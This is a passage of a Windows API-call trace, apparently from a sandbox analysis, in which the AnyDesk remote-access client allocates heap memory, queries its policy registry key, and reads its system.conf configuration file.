CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0284.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969990 [0284.803] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969990, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0284.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969990 | out: hHeap=0x1930000) returned 1 [0284.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x27) returned 0x1962380 [0284.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a8ef0 [0284.804] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962380 | out: hHeap=0x1930000) returned 1 [0284.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969990 [0284.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8f10 [0284.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1968858 [0284.804] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969990 | out: hHeap=0x1930000) returned 1 [0284.804] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969980 | out: hHeap=0x1930000) returned 1 [0284.804] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x19a8f30 [0284.804] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.machash", lpReserved=0x0, lpType=0x327fa98, lpData=0x0, lpcbData=0x327fa9c*=0x0 | out: lpType=0x327fa98*=0x0, lpData=0x0, lpcbData=0x327fa9c*=0x0) returned 0x6 [0284.804] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x327fac4 | out: phkResult=0x327fac4*=0x0) returned 0x2 [0284.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8f30 | out: hHeap=0x1930000) returned 1 [0284.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0284.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0284.805] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970fa8 [0284.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab0d8 [0284.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa3b8 [0284.805] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab3a8 [0284.805] GetLastError () returned 0x0 [0284.805] GetSystemTime (in: lpSystemTime=0x327fa04 | out: lpSystemTime=0x327fa04*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2e, wMilliseconds=0x42)) [0284.806] GetCurrentThreadId () returned 0x5d8 [0284.806] GetCurrentProcessId () returned 0x51c [0284.806] GetLastError () returned 0x0 [0284.807] SwitchToFiber (lpFiber=0x16f6890) [0284.807] SwitchToFiber (lpFiber=0x16f96b8) [0284.807] GetTickCount () returned 0xbccb [0284.807] GetLastError () returned 0x0 [0284.807] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0284.808] GetCurrentThreadId () returned 0x5d8 [0284.808] SetLastError (dwErrCode=0x0) [0284.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1968880 [0284.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab300 [0284.808] SwitchToFiber (lpFiber=0x16f6890) [0284.808] SwitchToFiber (lpFiber=0x16f6590) [0284.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8f50 [0284.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8f70 [0284.808] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c3c8 [0284.808] GetTickCount () returned 0xbccb [0284.808] CreateFileW (lpFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0284.809] LockFileEx (in: hFile=0x324, dwFlags=0x0, dwReserved=0x0, nNumberOfBytesToLockLow=0xffffffff, nNumberOfBytesToLockHigh=0xffffffff, lpOverlapped=0x294b24c | out: lpOverlapped=0x294b24c) returned 1 [0284.809] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x294b268 | out: lpFileSize=0x294b268*=455) returned 1 [0284.809] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c7) returned 0x1969238 [0284.809] ReadFile (in: hFile=0x324, lpBuffer=0x1969238, nNumberOfBytesToRead=0x1c7, lpNumberOfBytesRead=0x294b27c, lpOverlapped=0x0 | out: lpBuffer=0x1969238*, lpNumberOfBytesRead=0x294b27c*=0x1c7, lpOverlapped=0x0) returned 1 [0284.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1969238, cbMultiByte=455, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 455 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x390) returned 0x19ae518 [0284.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1969238, cbMultiByte=455, lpWideCharStr=0x19ae518, cchWideChar=456 | out: lpWideCharStr="ad.anynet.fpr=9f798b4c7a6e1a608c1a6b55f87e1456ddb10ff2\nad.anynet.relay.fatal_result=1.0\nad.anynet.relay.state=1\nad.security.frontend_clipboard=1\nad.security.frontend_clipboard_files=1\nad.security.frontend_clipboard_version=1\nad.security.permission_profiles._default.permissions.sas=1\nad.security.permission_profiles._unattended_access.permissions.sas=1\nad.security.permission_profiles.version=1\nad.security.update_channel=stable\nad.security.update_type=0\n") returned 455 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f8e0 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab090 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c5a8 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab390 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa3f0 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab318 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c5f8 [0284.810] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3c0 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972050 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3d8 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975ea0 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab3f0 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x19855b8 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab408 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196c2e0 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab420 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1976020 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab438 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c648 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab450 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1963820 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab468 [0284.811] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6e) returned 0x197f9d0 [0284.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x197f9d0 | out: hHeap=0x1930000) returned 1 [0284.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688a8 [0284.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688d0 [0284.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19688a8 | out: hHeap=0x1930000) returned 1 [0284.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1976080 [0284.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1976140 [0284.812] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975d80 [0284.812] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976140 | out: hHeap=0x1930000) returned 1 [0284.813] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1976080 | out: hHeap=0x1930000) returned 1 [0284.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8f90 [0284.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19688a8 [0284.813] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1976080 [0284.813] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975d80 | out: hHeap=0x1930000) returned 1 [0284.813] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19688d0 | out: hHeap=0x1930000) returned 1 [0284.813] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c698 [0284.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c698 | out: hHeap=0x1930000) returned 1 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970ff0 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1971038 [0284.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970ff0 | out: hHeap=0x1930000) returned 1 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969940 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969970 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969980 [0284.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.814] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8fb0 [0284.814] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3a) returned 0x1970ff0 [0284.815] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969940 [0284.815] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969980 | out: hHeap=0x1930000) returned 1 [0284.815] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971038 | out: hHeap=0x1930000) returned 1 [0284.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa310 [0284.815] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0284.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa310 [0284.815] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa428 [0284.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969980 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969990 [0284.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969980 | out: hHeap=0x1930000) returned 1 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969980 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8fd0 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa310 [0284.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969980 | out: hHeap=0x1930000) returned 1 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969980 [0284.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969990 | out: hHeap=0x1930000) returned 1 [0284.816] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa428 | out: hHeap=0x1930000) returned 1 [0284.816] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c698 [0284.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c698 | out: hHeap=0x1930000) returned 1 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1971038 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1971080 [0284.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971038 | out: hHeap=0x1930000) returned 1 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969990 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699a0 [0284.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.817] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969990 | out: hHeap=0x1930000) returned 1 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969990 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8ff0 [0284.817] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3e) returned 0x1971038 [0284.818] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969990 | out: hHeap=0x1930000) returned 1 [0284.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969990 [0284.818] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699a0 | out: hHeap=0x1930000) returned 1 [0284.818] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1971080 | out: hHeap=0x1930000) returned 1 [0284.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972ec0 [0284.818] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972ec0 | out: hHeap=0x1930000) returned 1 [0284.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972ec0 [0284.818] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972c58 [0284.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972ec0 | out: hHeap=0x1930000) returned 1 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699a0 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699b0 [0284.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699a0 | out: hHeap=0x1930000) returned 1 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699a0 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9010 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4a) returned 0x1972ec0 [0284.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699a0 | out: hHeap=0x1930000) returned 1 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699a0 [0284.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699b0 | out: hHeap=0x1930000) returned 1 [0284.819] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0284.819] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x52) returned 0x1975d80 [0284.820] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975d80 | out: hHeap=0x1930000) returned 1 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972c58 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1967228 [0284.820] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699b0 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699c0 [0284.820] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.820] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699b0 | out: hHeap=0x1930000) returned 1 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699b0 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9030 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4e) returned 0x1972c58 [0284.820] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1962380 [0284.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8f70 | out: hHeap=0x1930000) returned 1 [0284.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699b0 | out: hHeap=0x1930000) returned 1 [0284.821] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699b0 [0284.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699c0 | out: hHeap=0x1930000) returned 1 [0284.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967228 | out: hHeap=0x1930000) returned 1 [0284.821] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x76) returned 0x19856b8 [0284.821] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19856b8 | out: hHeap=0x1930000) returned 1 [0284.821] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19856b8 [0284.821] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19858b8 [0284.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19856b8 | out: hHeap=0x1930000) returned 1 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699c0 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699d0 [0284.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699c0 | out: hHeap=0x1930000) returned 1 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699c0 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8f70 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x72) returned 0x19856b8 [0284.822] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699c0 | out: hHeap=0x1930000) returned 1 [0284.822] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699c0 [0284.823] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699d0 | out: hHeap=0x1930000) returned 1 [0284.823] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19858b8 | out: hHeap=0x1930000) returned 1 [0284.823] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8a) returned 0x196cd90 [0284.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196cd90 | out: hHeap=0x1930000) returned 1 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196b5a0 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x19abf08 [0284.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b5a0 | out: hHeap=0x1930000) returned 1 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699d0 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699e0 [0284.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.824] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699d0 | out: hHeap=0x1930000) returned 1 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699d0 [0284.824] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9050 [0284.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x86) returned 0x196b5a0 [0284.825] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699d0 | out: hHeap=0x1930000) returned 1 [0284.825] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699d0 [0284.826] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699e0 | out: hHeap=0x1930000) returned 1 [0284.826] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19abf08 | out: hHeap=0x1930000) returned 1 [0284.826] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1975d80 [0284.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1975d80 | out: hHeap=0x1930000) returned 1 [0284.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1967228 [0284.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1967280 [0284.827] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967228 | out: hHeap=0x1930000) returned 1 [0284.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699e0 [0284.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969970 [0284.827] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699f0 [0284.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699e0 | out: hHeap=0x1930000) returned 1 [0284.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699e0 [0284.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9070 [0284.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x50) returned 0x1967228 [0284.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699e0 | out: hHeap=0x1930000) returned 1 [0284.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x19699e0 [0284.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699f0 | out: hHeap=0x1930000) returned 1 [0284.828] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1967280 | out: hHeap=0x1930000) returned 1 [0284.828] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c698 [0284.829] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c698 | out: hHeap=0x1930000) returned 1 [0284.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1963860 [0284.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x19638a0 [0284.829] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963860 | out: hHeap=0x1930000) returned 1 [0284.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab480 [0284.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab498 [0284.829] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab4b0 [0284.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab498 | out: hHeap=0x1930000) returned 1 [0284.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab480 | out: hHeap=0x1930000) returned 1 [0284.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19699f0 [0284.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a9090 [0284.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x36) returned 0x1963860 [0284.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19699f0 | out: hHeap=0x1930000) returned 1 [0284.830] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xe) returned 0x19ab480 [0284.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab4b0 | out: hHeap=0x1930000) returned 1 [0284.830] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, 